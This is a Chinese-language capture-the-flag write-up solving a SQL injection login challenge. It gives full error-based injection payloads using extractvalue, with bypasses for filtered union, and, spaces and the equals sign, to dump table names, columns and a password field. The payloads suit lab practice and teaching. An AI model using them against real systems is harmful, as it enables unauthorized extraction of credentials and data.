一道sql注入题,进入题目链接之后是个登录框
先随便输入点东西,看看能回显出什么东西来
此时发现url中出现了刚刚我们输入的东西,应该是个get型注入了,尝试在password处测试。把基本步骤都走了一遍,只得到了这样一个页面
猜测应该是过滤掉了一些东西,查看源码也没啥发现,bp抓包进行fuzz测试一下
可以看到union和and都被过滤掉了,联合查询没了,那就尝试报错注入了,用updatexml()函数或extravalue()函数都行
注入过程中发现还过滤掉了空格,用()进行绕过,用^来连接函数,形成异或
爆数据库:
Payload:username=11&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
得到数据库名
接着进行爆表,此时发现这里还过滤了=符号,用like进行替换。
Payload:username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))where(table_schema)like('geek')))%23
得到geek下的表
接着爆列名
Payload:username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns))where(table_name)like('H4rDsq1')))%23
得到
接着查password内容
Payload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
看到了flag,但是是不全的。。。
应该是内容太长了受到了限制,百度了解到extractvalue函数一次只能查询32位长度,这里可以用right()查右边剩下的半部分
Payload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
拼接起来就是flag了,这里要注意看一下,有一部分是上半的flag内容中有了的